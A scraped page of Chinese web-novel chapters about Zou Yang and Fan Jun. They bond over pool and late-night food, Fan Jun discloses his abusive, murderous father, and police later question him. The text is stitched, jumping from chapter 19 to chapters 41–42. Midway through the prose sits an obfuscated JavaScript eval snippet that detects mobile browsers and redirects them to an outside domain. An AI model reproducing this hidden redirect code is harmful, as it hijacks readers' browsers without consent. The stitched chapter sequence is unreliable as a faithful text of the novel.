“操。”那人说。 樊均这回瞄了一下,出杆之后黑8依旧是很干脆地落了袋,他把球杆还给旁边的人:“我今天陪朋友,改天打。” “樊均!我他妈真服了!我本来都要赢了!”那人喊,“你上我这儿装逼来了啊!” 四周响起一片带着嘲讽的笑声。 邹飏估计了一下时间,樊均从过去到走回来,差不多真就是两分钟。 那边从骂骂咧咧到骂骂咧咧,情绪没有什么起伏。 还交个朋友呢。 这地方是真给人感觉不太友好。 “来吧。”樊均走到他们的台边。 “都是你认识的吗?”邹飏跟着过去,靠近他,低声问了一句。 “也不算认识,”樊均把球摆好,“都这片儿的,不知道名字但也都眼熟。” “有仇吗都?”邹飏问。 “没,说话就这样,”樊均把球放好之后,直接开了球,“你以前打过吗?” 邹飏犹豫着该怎么说,之前随口的那一句“不会”让他现在非常为难,说会吧,撒谎了,为什么撒谎,因为不想混迹在南舟坪北小街西这帮人之中…… 说不会吧,这一打起来,是真不太好装。 最后他还是点了点头,选了一个折中的说法:“也打过,就是……不太会。” “没事儿,”樊均看了看球,俯身瞄着,“随便打就行。” “你……”邹飏刚才就想问,但没顾得上,“看得见么?” 樊均笑了起来,杆头不小心碰到了白球,他直起身:“哎。” “这不是我的计啊。”邹飏说。 樊均把帽檐往上翻起来一点儿:“现在看得见了,刚都是盲打。” “那你很牛。”邹飏拿过杆,看着台面上的球,“我打了吧?” “嗯。”樊均点头。 邹飏俯身,瞄了瞄球,然后挑了个当初刘文瑞刚打台球时被群嘲的手型架杆。 架好之后他看了樊均一眼。 樊均抱着胳膊也看着他,没说话。 邹飏看着球,胡乱往前捅了一杆,打中了目标球,但没进。 “你……”樊均把白球拿过来放到他面前,“这个手……” “嗯。”邹飏俯身把手架回了台面上。 樊均在他身后也俯身,伸手捏着他的手指调整了一下手型:“杆儿架上。” “嗯。”邹飏把球杆架到手上。 “推一杆就行,打绿的那个,”樊均声音就在他后脑勺,手从他身后绕到他握杆的右手上轻轻点了一下,“不要突然发力,就推出去。” 邹飏按照樊教练的指导,推了一杆。 推完就后悔了。 果然,进袋了。 两个人都没说话,沉默了两秒之后,樊均的声音从他颈后传过来:“你真不会打?” “真不会打。”邹飏坚持着。 “那你对会打的标准有点儿高啊。”樊均说。 邹飏叹了口气,直起身,扶着球杆看着他。 “其实……”樊均顿了顿,“你不想来不用硬……” “我不是那个意思……”邹飏赶紧打断他,往四周看了看。 这台球厅里人不多,除了打球的声音,不算嘈杂,正常说话差不多旁边台子都能听到。 他只能凑到樊均右耳边低声说:“我就是跟不认识的人待一块儿难受,没别的意思。” “嗯。”樊均很认真地点了点头。 邹飏从他这个反应无法判断他能不能接受或者是不是相信这个解释。 “我也没多想,”樊均也低声说,“一开始就是想问你要不要一块儿玩。” 邹飏咬了咬嘴唇,不知道该说什么。 “你打。”樊均说。 “哦。”邹飏只得转头看了看台面上的球。 刚那一杆邹飏没认真打,虽然进了,但接下去的球不太好打。 樊均退开了一些,看着邹飏找位置,这个人很奇怪,这会儿明显不太有心情打球, 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帽檐下其实是能看得清的,他多年戴帽子的经验,已经能够在各种帽檐下看清前方的事物。 不过这个把帽子直接扣脸上都应该能打进的球他却打偏了。 “菜。”邹飏说。 樊均笑了笑,没说话。 邹飏台球打得很好,一旦让他抓住机会,就能连续进球。 换算成武力值的话,那天跟吕泽能打个有来有回。 这局因为樊均莫名其妙的失误,邹飏轻松赢了。 “再来一局?”樊均问。 邹飏看着他,沉默了一会儿才点了点头:“行。” 樊均连输两局。 邹飏最后一杆黑8入袋的时候,樊均的球还大面积存活着。 邹飏打完之后手撑在台面上没有动,轻轻地叹了一口气。 樊均不在状态,刚进来的时候打别人那半台看得出来他的确打得挺好的,但这会儿的水平,也就跟刘文瑞拼个你死我活了。 “厉害啊。”樊均一边说着一边准备摆球。 “不打了。”邹飏说。 “嗯?”樊均定了定,然后放下了手里的球,“好。” 他打了个响指,一直坐在趴在墙边睡觉的小白跳了起来,往他这边跑过来的时候在邹飏身上蹭了一下。 邹飏惊得一下站直了,贴紧了旁边的桌子。 “一臂,”樊均站到邹飏旁边,指了指他,然后伸出手臂,“他,一臂。” 小白认真地盯着他俩,前爪在地上来回跺着,哼唧了两声。 “听得懂?”邹飏忍不住问。 “不知道,没试过,”樊均说,“可能会懂。” 邹飏虽然怕狗,但这会儿还是好奇心战胜了恐惧,他试着往前走了一步,小白看着他,他又往前蹭了半步。 小白开始退后。 “我靠,”他转头看着樊均,“真能行啊?” 樊均笑了笑。 这个时间,得在商场那边才比较好打车。 邹飏认识过去的路,不过经过樊均租房的那片居民区时,樊均没有停下的意思,跟他一块儿往前走着,他也就没出声。 一路也没说话,只能听到小白爪子落在地上欻欻欻的声音和它哈哧哈哧的喘气声,这动静……带着吓人的安全感。 气氛有点儿奇怪,就好像他今天带着樊均跟自己的朋友出去玩,却有些生硬而尴尬地拒绝融入樊均的朋友圈…… 当然,应该也谈不上是朋友,算是生态圈吧……什么鬼。 再加上那个诡异的偶遇。 总之就有种说不清的感觉。 邹飏有些后悔今天没跟老妈一块儿去买菜,就算被樊均误会是要打听的事儿又怎么样,谁会不好奇。 不跟老妈打听,现在就会忍不住想跟他本人打听了。 走到商场那条街时,樊均停下了:“我……” “你为什么要躲今天那个姐姐啊?”邹飏突然就开口问了。 樊均怔住了,甚至抬了抬头,从帽檐下看着他,似乎是想再确认一下他的问题。 “跟邻居……是有什么矛盾吗?”邹飏又问了一句。 “……不是。”樊均说。 邹飏等了一会儿,他却没继续说下去。 “算了,”邹飏转身,“你没事儿就行,我去前面打个车。” 走了好几步了,身后才又传来了樊均的声音:“我是怕我爸找到我。” 邹飏停下了,回过头。 “他出门的时候说,回来就杀了我。”樊均说。 19.第 19 章 19 樊均说这句话时,站在路灯底下,上方像是带了一层薄雾的昏暗灯光打在他身上,脸被笼罩在帽子的阴影中,看不清表情。 他出门的时候说,回来就杀了我。 这话怎么听着都很奇怪,带着些诡异的恐惧感。 邹飏转身走回到他面前:“你爸……说的?” “嗯。”樊均声音很低。 邹飏心里有十万个为什么,但一时却又开不出口来问,毕竟从樊均这句话字面的意思来看,这种爹只会出现在社会新闻里。 “他……”邹飏组织了好半天的语言,才憋出来一句,“为什么要这么说?” 这汉语言也算是白学了。 “就是……”樊均微微抬了抬头,“想杀了我吧。” 邹飏沉默了。 夜风吹过来,这两天白天的温度是回暖了些的,但樊均这句话说出来,他却突然觉得这风带着寒气,像是又要降温。 “他出门去干嘛?”邹飏好一会儿才又问了一句。 “买烟。”樊均说。 邹飏再次沉默了,出门买个烟,然后回来就要杀了自己儿子。 这两句回答听着完全没有逻辑,听着跟鬼片儿似的。 樊均也沉默了,过了一会儿才又开口:“你赶紧打车吧。” 邹飏愣了愣,看着他。 “这边儿车少,九点过就没什么车接单了。”樊均说。 “后来呢?”邹飏问,“买烟回来之后呢?” “没有再回来。”樊均说。 “……哦。”邹飏看了一眼坐在旁边的小白,这会儿居然顾不上怕狗了。 “你记得通知他们明天十点拍照,”樊均边说边往后慢慢退着走,“你上课的话是八点半,起不来晚点儿也行,九点前。” 小白也跟着他,居然也退着走。 “嗯。”邹飏点了点头。 “晚安。”樊均说。 “……晚安。”邹飏说完站在原地并没有动。 樊均转身往回走。 小白也转身,跟在他身侧,一人一狗连步频都是一致的。 樊均说他并没有专门训练过小白,没事儿的时候跟它玩,时间长了就懂了……这是得多长的时间啊。 邹飏看着樊均的背影。 手插在外套兜里,低着头,走在月光的阴影里,风吹过的时候,甚至感觉他身影模糊,整个人都被吹淡了。 一个人得是多寂寞,才能跟狗玩到这种境界。 樊均一直没有再回头看。 他转身走的时候,邹飏还站在原地没动。 现在是已经走了,还是依旧站在那里,他不知道。 邹飏的问题问得很简单,却很难回答。 他能感觉得出来,他这个尽可能简单的回答可能吓着邹飏了。 路过旧馆的时候,吕叔和珊姐已经收拾好走了,院门都已经锁了。 但樊均还是打开门进去转了一圈。 没有什么意义,就是转一圈,每天他都会转一圈。 今天没怎么陪狗,所以他没把小白留在旧馆,带着小白回了他的小屋。 小白和大黑已经挺熟了,大黑虽然还没有狗脑袋大,但胆子不小,不怕狗,小白在家的时候,它会睡在小白身上。 很安全的样子。 羡慕。 “我干嘛要取消订单,我不取消。”邹飏坐在停车场的石墩子上。 “我过不去。”那边的司机说。 “我没手。”邹飏说。 “我过不去!”司机重复了一遍。 邹飏顿了顿,挂掉了电话,盯着手机看了两秒,他取消了订单。 什么破地方。 他本来想再跟司机呛两句,但实在没什么心情,脑子里全是樊均和那个回来就要杀了他但一直没有再回来的爹。 说不清是好奇还是窥探还是担心的情绪到达了顶峰。 他起身活动了一下腿,看了看四周,走到了两辆共享电动车旁边,然后打开导航,点了自己家的地址,看了一眼路线。 12.7公里。 之前没注意到这么远呢。 骑自己的车也就算了,顶着夜风还骑个小共享,没有宿舍几个人垫底,他是不愿意的。 他又重新点开了打车的界面。 等了五分钟之后,他把手机放回了兜里,走到了旁边一个无人光临的烧烤车前。 确切地说,这一遛小夜市摊生意都不怎么行,而这个烧烤车的老板已经盯了他很久了。 “来点儿什么?”老板热情地招呼他。 “一样五串儿吧,打包,”邹飏扫了一眼面前摆着的各种串儿,“不要素的。” “好,能吃辣吗?”老板问。 “……不知道,”邹飏思考了几秒,“别太辣吧。” “好嘞,”老板指了指旁边的小凳子,“坐着等会儿,很快。” 邹飏坐下等了一会儿,又拿出了手机,直接拨了樊均的号码。 听着那边的拨号音,琢磨着要怎么说。 但樊均一直没有接电话。 邹飏看了一眼号码,没错,又拨了一个,还是没人接。 洗澡吗? 邹飏骑着小共享带着一兜烧烤和一箱啤酒艰难前行的路上,又给樊均打了个电话。 还是没人接。 这是什么精致男孩儿,洗个澡这么长时间? 邹飏又发了条消息过去。 -睡了? 樊均也一直没回复。 邹飏飚着小共享冲到樊均楼下,再拎着烧烤和啤酒上了顶层,这会儿他已经没什么心情猜测樊均在干什么了。 樊均今天的状态和他刚才说的那些话,再加上他转身离开时带着满满说不清的情绪的背影,都让邹飏有些慌。 虽然有点儿离谱,但他还是控制不住自己奔腾的想象力…… 别是自杀了吧! 邹飏开始哐哐砸门的时候已经做好了破门而入的准备。 这门就是那种最便宜的假装自己能防盗的防盗门,一脚能踹个洞。 屋里传来了小白的低吼声。 邹飏踹门的决心有那么一瞬间的动摇。 但跟着还是往后退了一步,狗都有反应了,如果还没人开门,就肯定得踹了。 门在下一秒被打开了。 樊均穿着睡衣,脑门儿上顶着今天的奖品,身上披着个……斗篷,站在门边震惊地看着他。 身后是耳朵竖得笔直的警惕的狗。 “我操,”邹飏看着他脖子上挂着的耳机,“你……我以为你……” 身后邻居家的门也打开了,一个大姨探出头来,上下打量着邹飏:“大晚上的动静轻点儿!我们家都睡觉了!” “不好意思。”邹飏回头说了一句。 “进来。”樊均一边说一边回手冲狗打了个手势。 狗转身扒拉了一下卧室的门锁,打开门进去之后还把卧室门给关上了。 邹飏赶紧进了屋。 樊均把门关上之后,他才猛地感觉有些尴尬。 手足无措的。 “你手机呢?”邹飏问。 “屋里充电,”樊均愣了愣,“你给我发消息了吗?” “我给你打了三千多个电话。”邹飏说。 “卧室关着门,要不小白会提醒我了……”樊均走进了屋里,“那你手机还有电吗,要不要充一会儿?” “有。”邹飏再次惊叹小白的能力。 “打了三千多个还有电?”樊均从卧室里走出来。 “……风能的,一路吹过来充满了。”邹飏说。 樊均笑了笑,没说话。 邹飏说完这句也不知道该说什么了。 他现在是一个大晚上侵入别人单身小屋的不速之客,这要是换了他,晚上洗漱完了躺自己小窝里正听音乐呢,就算是刘文瑞来了也得被他打出去。 “你……”樊均犹豫了一下把他手里的东西拿了过去,放到了客厅的小桌上,“没打着车?” “嗯。”邹飏应了一声。 “那……”樊均明显对这样的状态也有些应对不足。 “也不是。”邹飏说。 樊均没说话,看着他。 “一般,”邹飏顿了顿,一咬牙直说了,“我们宿舍几个,谁要碰上什么事儿了,心情不好了,就这样,吃点儿喝点儿,愿意说说,不愿意说就愣着。” 樊均还是沉默地看着他。 “我觉得你应该……不是真没事儿,”邹飏说,“反正我也……” “要穿拖鞋吗?”樊均问。 “……不用。”邹飏说。 樊均也脱掉了拖鞋,然后走进了厨房。 邹飏走到沙发旁边,大黑正翻着个肚皮在沙发上躺着,他犹豫了一下,坐到了大黑身边。 樊均刚才应该是躺在沙发上,这上头还有明显的温度。 他伸手挠了挠大黑的肚皮。 樊均拿着个小矮桌从厨房里出来了。 邹飏赶紧又站了起来。 “坐着吧。”樊均说。 邹飏又坐了回去。 樊均把小桌放到了沙发面前的小地毯上,转身把烧烤和酒都拿到了桌上,然后坐在了地毯上,靠着沙发。 邹飏想了想,也坐到了地毯上。 “我真没事儿。”樊均看着他。 “那就吃宵夜。”邹飏说。 “嗯。”樊均应了一声。 邹飏打开袋子,把几盒烧烤排列着放好,拿了一串不知道什么玩意儿出来咬了一口。 嚼了两下之后他停下了,把串儿拿到眼前又看了一眼。 樊均也拿了一串,吃了一口。 邹飏看着他。 “嗯。”樊均点了点头。 “嗯什么?”邹飏问。 “是有点儿难吃。”樊均说。 “靠,”邹飏笑了起来,“难怪这摊儿没人。” “商场那边儿买的吧?”樊均倒是没停,继续吃着。 “是。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581366|169504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邹飏开了罐啤酒。 “那边儿都是临时的摊儿,不做回头客,”樊均说,“烧烤得是菜市场那片儿的才好吃。” “哦。”邹飏应着。 樊均看上去状态还凑合,没有特别差,更没有想要自杀。 可能并不会再继续之前那个让人非常不愉快的话题。 一直到这时,静下来的邹飏才有机会顺了一下自己这会儿的行为……太唐突了。 邹飏,太唐突了。 这不是刘文瑞,也不是宿舍那几个起码朝夕相处了两年的同学。 这是你刚认识没几天的你妈的男朋友的养子。 目前跟你最近的关系就是你的教练。 “今天碰到的那个姐姐,是我以前的邻居,”樊均却在这时突然开了口,“我怕她认出我,我爸就有可能知道我在哪儿了。” 这应该不太可能吧。 邹飏没说话。 这会儿他才发现,其实说是这么说,就像对同宿舍的人碰上事儿那样,但其实是做不到的。 没熟到那份儿上,也没法带着分享八卦一样的心态对着对方刨根问底。 尤其是……樊均的事儿,绝对不是他身边任何人经历过的那些所谓烦心事能比的。 就凭那一句话就已经能体会到了,那是同时贯穿了樊均身体和心理的伤。 操。 跑来干什么呢? 邹飏沉默着又喝了一口酒。 “其实我也知道不可能,”樊均看着手里的烧烤,也没看他,“只是控制不住。” “也正常,”邹飏抹了抹嘴,拿起了刚才吃了一口的烧烤,虽然不好吃,但也谈不上多难吃,“你脸上伤都是他打的吧?” “嗯。”樊均应了一声。 “打得这么狠,”邹飏说,“谁会不怕,何况那会儿还是个小孩儿。” 樊均转头看了他一眼。 邹飏也看着他:“那个眼罩,不戴就拿掉吧,老觉得你发烧捂了个退烧贴呢。” “嗯?”樊均愣了愣才抬手往自己脑门儿上摸了一把,摸到眼罩的时候笑了,“我忘了。” “帽子戴习惯了吧。”邹飏说。 “嗯。”樊均点点头,低头把摘下来的眼罩叠好放到了沙发旁边的小置物架上。 “想遮着脸上的疤怕让人认出来吗?”邹飏边吃边又问了一句。 “是。”樊均转回头继续看着手里的烧烤。 “其实……”邹飏看着他,犹豫了一下,“你爹什么武力值啊,他真来了打得过你?打得过冠军?打得过吕叔?你们三个一块儿不给他打废了个屁的。” 樊均再次转回头来看着他。 “怎么。”邹飏问。 樊均没说话,只是伸手开了一罐啤酒,往他那罐上轻轻磕了一下,然后仰头灌了几口。 邹飏拿起啤酒,跟着也喝了几口。 “你跟你爸爸关系好吗?”樊均问。 “嗯?”邹飏愣了两秒,提到他爹……他顿时就感觉本来温度挺合适的屋里有些燥热。 他放下啤酒,脱掉了身上的卫衣外套,往沙发上一扔:“面儿上父慈子孝。” 樊均往他里面穿着的T恤上扫了一眼。 “我不冷。”邹飏也看了看樊均身上的……斗篷。 “我以为你跟你爸关系挺好的。”樊均说。 邹飏很敏锐地追了一句:“我妈说的吗?” “不是,我是觉得,”樊均侧过身靠着沙发,脸冲着他,回答得很真诚,“你性格挺好的。” “那只能说我爸没坏到那个程度,”邹飏手架在沙发上撑着脑袋,“我爸是个伪君子,唯一的优点就是自信。” 樊均笑了笑。 “我性格好吗?”邹飏问。 “好。”樊均说。 “那刘文瑞要跟你打架。”邹飏说。 “打他都不用一根手指头,”樊均说,“我说了算。” “谢谢。”邹飏笑着说。 “谢谢你。”樊均拿起啤酒罐晃了晃,发现空了,于是又开了一罐,举到了他面前。 邹飏拿起自己那罐跟他碰了一下:“为什么?” “除了吕叔他们,”樊均说,“你是唯一……想知道我那些事儿的人。” “也许……”邹飏皱了皱眉,“只有我这么莽撞。” “不是。”樊均说。 邹飏看着他没说话。 “只是不会有人在意别人的事,我也一样。”樊均说。 “我以为你会介意别人知道你的事。”邹飏说。 “是介意。”樊均说。 “……我靠。”邹飏顿时尴尬了,“你说话怎么还带反转的。” 樊均笑了笑。 “那你……”邹飏喝了口啤酒,“想说吗?都那么久没消息了的人,你为什么……” “他是真的会杀人的人,”樊均说,“别人可能不用当真,但他真的会,我知道。” 邹飏没说话。 “我知道。”樊均又重复了一遍。 40-50 第41章 很多年了,这个称呼都没有在樊均的生活里出现过。 樊刚的儿子。 这个如同魔咒一样的称呼重新出现在眼前时,樊均感觉自己呼吸突然变得困难。 视野的边缘如同燃尽的黑灰,一点点漫延,遮掉了光亮。 连同各种声响,都一同被带走了。 “均儿!樊均!”吕叔和珊姐带着焦急的声音从远处传来。 “没事儿。”樊均开口。 没有听到自己的声音。 “我没事儿。”他再次开口,终于听到了。 “警察同志,”吕叔说,“情况你们也知道一些的,这个人对他的刺激的确是很大……” “理解,”一个男人的声音回答,“让他先缓缓,不着急。” “其实他知道的,跟我差不多。”吕叔说。 一瓶带着凉意的水递到了樊均手里,他用力握紧。 冰凉的感觉顺着掌心透进身体,他深吸了一口,慢慢冷静了下来。 过了一会儿,他抬眼看了看坐在桌子对面的两个男人:“我没事儿了。” “樊均,这两位是李警官和胡警官。”梁警官介绍了一下,两个警官也出示了证件和相关的文件。 “嗯。”樊均点点头,只是简略地扫了一眼。 两位警官都不是本地的,跨省了。 “樊均,你是樊刚的儿子,对吧?”李警官问。 “是,”樊均声音有些沙哑,“他犯什么事儿了吗?” “樊刚可能涉及一起严重的刑事案件,”李警官说,“需要你配合调查,我们有几个简单的问题想跟你了解一下。” 樊均感觉自己的手微微抖了一下。 “问吧。”他说。 问题本身的确很简单,远没有樊刚这两个字真实地出现在生活里的冲击大。 当年樊刚从家里离开之后就没有再出现过,最近樊刚没有联系过他,他也没有见过樊刚,也没有听到任何他的消息,除了爷爷和姑姑,他也不知道樊刚还有没有什么关系亲密的人…… 对于藏在南舟坪十四年只为了躲开跟樊刚有关的一切的樊均来说,所有的问题都只有一个答案。 不知道。 “感谢你的配合,”李警官说,“如果之后有任何樊刚的消息,请及时跟梁警官联系。” “你们是怎么找到我的。”樊均问。 “我们通过查询樊刚的户籍信息,知道你被领养的情况,”李警官说,“请你放心……” “你们为什么觉得他会来找我。”樊均没等他说完就又追了一句。 李警官没说话,跟梁警官对视了一眼。 “樊均,你的家庭……我有一些了解,两位警官目前只是排查他的社会关系,并不确定他会来找你,”梁警官说,“你不要太担心,排查到你的手段,也不是樊刚能够接触到的。” “嗯。”樊均声音很低地应着,又抬头看了看李警官,“他是杀人了吗?” “涉及案件的具体情况我们不能透露,请你理解。”李警官说。 “抓住他会判死刑吗?”樊均又问。 “樊均,”梁警官说,“案件的情况不能跟你透露。” “嗯。”樊均点了点头。 了解完情况,吕叔送几个警官出去,樊均沉默地坐在厨房里,感觉身体里的力量正被一点一点地抽走。 樊刚杀人了。 他不知道自己为什么会这么觉得。 但他的直觉能确定。 樊刚一定是杀人了。 两个警官是跨省调查,樊刚在那边杀了人,潜逃了,有可能逃回了原籍…… “均儿?”珊姐过来拍了拍他的肩。 “我没事儿,珊姐。”樊均抬头,冲她笑了笑。 “中午想吃什么?”珊姐问,“我给你做。” “红烧肉。”樊均说。 “吕泽一出门你就馋肉啦,”珊姐笑了,“行,给你做啊。” “嗯。”樊均笑笑。 “这个双层的,”邹飏指着图片,“够吗?” “够了,”刘文瑞说,“就吃个意思,还指着它吃饱吗?还一顿饭呢,晚上宵夜还要吃吃喝喝。” “冠军不会追杀我们吧?”李知越说,“这一个生日过完樊均都能出栏了。” “应该不会,”邹飏说,“他好像天天奔波他那个新新馆呢,顾不上盯樊均了。” “新新馆什么时候能弄好,”张传龙说,“我们的卡还没用过呢。” “你要这么着急上课现在就能约,”邹飏说,“谭如又没出去跑。” “不急。”张传龙嘿嘿笑了两声。 “这卡买的,跟打赏一样。”刘文瑞说。 “你不上课,她拿不到钱的。”李知越说。 “闭嘴!”张传龙有点儿不好意思,“你们倒是约课啊。” “我们教练过生日呢。”刘文瑞说。 邹飏拿过旁边的便签纸,琢磨着蛋糕上写个什么生日祝福。 “字不要太多比较好看。”店员给他看了一下各种祝福的照片。 “你们这字儿谁写的?”邹飏皱了皱眉,“这么难看。” 店员笑了笑,没有说话。 邹飏也没有坚持吐槽,他们过来之前对比了好几家有名的,这家蛋糕是最漂亮的。 他在便签纸上写下了四个字。 从此坦途。 “不用别的字了,名字也不用。”邹飏把便签纸递给店员。 “好的,”店员接过便签看了一眼,“哇。” 出了蛋糕店,几个人继续去买礼物,刘文瑞伸了个懒腰:“明天什么时候过去?” “还没回我呢。”邹飏坐在轮椅上看着手机,现在这个轮椅是去学校旁边的药店租的,比之前校医室那个好用,大轮子推得轻松多了。 【邹yang】明天上午过去?你几点起床? 九点多发的消息,樊均一个多小时了都没回复。 朋友圈里最后一条是那天在他们学校门口拍到的地图测绘车。 之后几天都没有发过了。 本来想直接打电话过去问,但又觉得就给朋友过个生日,自己这么追着问是不是太积极了。 犹豫了半天,趁着刘文瑞他们把自己扔店门口几个人在店里转悠的时候,邹飏打了个电话给老妈。 迂回着打听一下吧。 “哟,小飏,你考完试了?”老妈倒是很快就接了电话。 “嗯,考完了,”邹飏说,“今天没什么事儿,跟他们出来逛逛。” “你联系樊均了吗?”老妈都没等他迂回一下,直接就提了樊均。 邹飏顿时皱了一下眉毛:“……还没,他怎么了?” “真是要了命了,”老妈放低声音,“我跟你说……” 刘文瑞他们几个人一块儿买了副拳套,跟樊均的旧拳套同品牌的,拿个大礼盒装上了。 “你们先去吃吧,”邹飏把刘文瑞拉到一边儿,“我得去一趟南舟坪。” “什么意思?怎么了?”刘文瑞愣了。 “我回来跟你细说。”邹飏转着轮椅就准备到路边叫车。 “你现在先跟我说个大纲。”刘文瑞抓住轮子。 “樊均他爸家暴,之前失踪了吕叔才收养的他……”邹飏语速很快地说着,他知道这种情况下什么也不说,刘文瑞不会让他走。 “我靠,现在他爹找上门了?”刘文瑞马上问。 “没,警察找来了,让协助调查,严重的刑事案件……”邹飏皱着眉。 “杀人了?”刘文瑞问。 “我也觉得。”邹飏看着他。 “我跟你一块儿过去吧?”刘文瑞松了手,但不太放心。 “别搞那么大阵仗。”邹飏说。 “那明天生日……”刘文瑞犹豫着问。 “照过不误。”邹飏说。 旧馆还是一切如常,吕叔训练馆里帮忙,老妈在厨房里。 看到他来了,老妈跑了出来,一看到他的轮椅就愣了:“这是……瘫了吗?不是说过几天就能拆石膏了,怎么还弄了个正式的轮椅坐上了?” “什么瘫……这不比我原来那个轮椅强?”邹飏说。 “你去他屋里找他,两天了,打电话就说没事儿,”老妈把一串钥匙递给了他,“你要实在敲不开门,就直接打开吧,这是他放吕叔那儿的备用钥匙。” “……哦。”邹飏愣了愣,“这合适吗?” “还管合不合适吗,”老妈叹了口气,“我和吕叔不去开门也就是怕开了门劝不了他,他跟我们没话,跟你有话,你去。” “嗯。”邹飏应了一声。 “去吧去吧。”老妈推着他的轮椅把他转了一圈,推出了院子。 这要搁平时,邹飏是会不太舒服的。 老妈很多时候对“外人”的关心会表现得更明显,催着自己的瘫痪儿子去开解男朋友的养子什么的…… 多亏对方是樊均。 虽然没去樊均那儿几次,路况也有那么点儿复杂,但路他还是记得的,还能在路上拐进一个小超市买了一箱黄桃罐头。 出来的时候碰到了老四。 对于南舟坪人来说,见过两次的就算熟人。 他俩都见过三回了。 老四直接把他推到了樊均家楼下,还帮他按了电梯,要不是邹飏强烈拒绝,他还打算一块儿上去。 但樊均不开门。 小白在旧馆的狗窝里趴着,樊均这会儿如果听不见的话,也没个狗能告诉他有人敲门。 邹飏拿出手机,拨了樊均的电话。 没人接。 他叹了口气,掏出钥匙,试着开门。 还好,里头没有反锁,门打开了。 “樊均!”邹飏也没再坐轮椅,直接起身跳了两步进了屋。 楼道里没灯,屋里拉着窗帘关着灯,一片黑。 邹飏好几秒时间里什么都看不清,过了一会儿才隐约看到窗户面前站着一个人。 “樊均?”邹飏又叫了他一声,伸手往墙上开关摸了过去。 “邹飏?”樊均的声音终于响起,带着有些发紧的干涩。 “嗯,”邹飏应了一声,“就我一个人。” “嗯。”樊均没动。 “怎么不接我电话也不回消息?”邹飏盯着他,也看不清脸。 “我……没听见。”樊均说。 无懈可击。 “我开灯了啊。”邹飏说。 樊均沉默了一会儿才出声:“嗯。” 邹飏按下了开关。 客厅里的灯亮了起来,他这时才看清了樊均就站在窗边,没戴帽子,手里拎着一根甩棍。 “关门。”樊均说。 邹飏也没说话,迅速地蹦到门外,也没管轮椅,只把那箱黄桃罐头拎进了屋里,然后关上了门。 樊均已经放下了手里的甩棍,看着他手里的东西。 “这个是……”邹飏把箱子放到了桌上,“这个是……我刚买的。” “黄桃罐头。”樊均说。 “嗯。”邹飏拍了拍箱子,“一整箱,想怎么逃就怎么逃,什么破事儿都追不上你了。” 樊均慢慢走了过来,把箱子打开了。 接着沉默地拿出了一个罐头拧开,又从桌上一个玻璃收纳瓶里拿了一把小叉子,戳了一块儿黄桃放进了嘴里。 “逃了。”邹飏说。 樊均没说话,只是认真地嚼着。 邹飏也没再出声,看着他的脸。 头发有点儿乱,脸上能看出有些疲惫,应该是没睡好,比从拘留所出来那天状态要好,但能感觉到心里压着不想被看出来的事儿。 “你怎么过来的?”樊均吃完一块桃,放下叉子看着他。 “打车呗,”邹飏说,“司机还问我怎么伤的,我说抓贼,他特别感动,下车的时候还……” 樊均一把搂住了他。 很用力。 邹飏后半句话直接被勒没了。 “谢谢。”樊均在他耳边低声说。 “不说这些……”邹飏胳膊绕到他背后,在他背上搓了几下,“吃饭了没?” “没。”樊均闷着声音。 “想吃什么?酸菜五花肉?”邹飏问,“蒸饺?” “你就认识这俩了是吗?”樊均问。 邹飏笑了起来。 “你吃了没?”樊均松开了他,转身往厨房走过去。 “没。”邹飏看着他的背影,有点儿想给他拽回来再抱一抱,但控制住了。 脑子有时候还是要适当用一用的。 “我随便弄点儿?”樊均转头看着他。 “你做?”邹飏挑了挑眉。 “嗯。”樊均点头。 “行,”邹飏立马来了兴致,“尝尝,吃过苦的人就是不一……” 脑子用一用,用一用。 “我……”樊均犹豫了一下,看上去并不在意这句话,注意力还是集中在对自己厨艺的判断上,“也就那样吧,凑合能吃。” 邹飏跟了过去:“我能看吗?” “先把你轮椅拿进来,”樊均转身又往门口走,“一会儿让对面老头儿捡走了。” “这还能捡走?”邹飏愣了。 “只要不在别人屋里的,都是他的。”樊均说完打开了门。 但只打开了一条缝。 邹飏看得出来他的犹豫,赶紧蹦了两下:“我来吧。” “我。”樊均像是下了决心似的一把打开了门。 门外站着轮椅和对门老头儿。 樊均跨了一步出去,拽着轮椅往回拉。 “你的?”老头儿一把也拉住了轮椅。 “他的。”樊均往旁边让了让。 “我的。”邹飏扶着门,把自己的石膏腿抬起来晃了晃。 老头儿不太情愿地松了手,樊均把轮椅拉回了屋里,关了门。 樊均进了厨房,开始忙活。 邹飏直接把轮椅放到了厨房门口,抱着大黑坐那儿看着。 “你……”樊均从冰箱里拿了食材出来,准备切肉,刀比划了半天最后放下了,“要不要去玩会儿手机?” “不要。”邹飏回答。 “……行吧。”樊均咬了咬嘴唇,低头开始切肉。 动作还是挺熟练的,邹飏脑袋往门框上一歪,看着樊均的手。 他是真的很喜欢看人做饭。 “珊姐跟你说了吧。”樊均一边切一边问了一句。 “嗯。”邹飏应着,“但没说太细。” “差不多就那样了,”樊均说,“樊刚……不知道什么时候能抓到……” “你觉得……他是犯什么事了?”邹飏问。 “杀人,”樊均一点儿都没犹豫,“估计还有同伙。” “你……有没有,”邹飏摸出了手机,“搜一下新闻什么的?” “我不敢。”樊均说。 “我敢。”邹飏低头点开了手机。 “邹飏,”樊均回过头,“别搜。” “为什么?”邹飏看着他。 “不要……在别人的麻烦里陷得太深。”樊均说。 邹飏正准备打字的手指停住了。 樊均继续切肉。 “你把我当什么‘别人’呢?”邹飏说。 “嗯?”樊均愣了愣。 “你要在我这儿是‘别人’,那我在你那就也是‘别人’。”邹飏说。 “不是。”樊均说。 “关系都是相互的。”邹飏说。 樊均沉默了一会儿:“你在我这儿是很重要的人。” “有多重要?”邹飏追问。 “就是……”樊均转开头,过了一会儿才又看向他,“非常重要。” “行,”邹飏低头继续在手机上戳着,“那你别管我。” 第42章 樊均切肉的手有点儿抖。 不是现在才抖的,这两天一直都有点儿。 从听到樊刚消息之后,只是想到这个名字,就会控制不住地抖。 也许是恐惧,也许是不安,还有可能是恶梦来临前诡异的兴奋感。 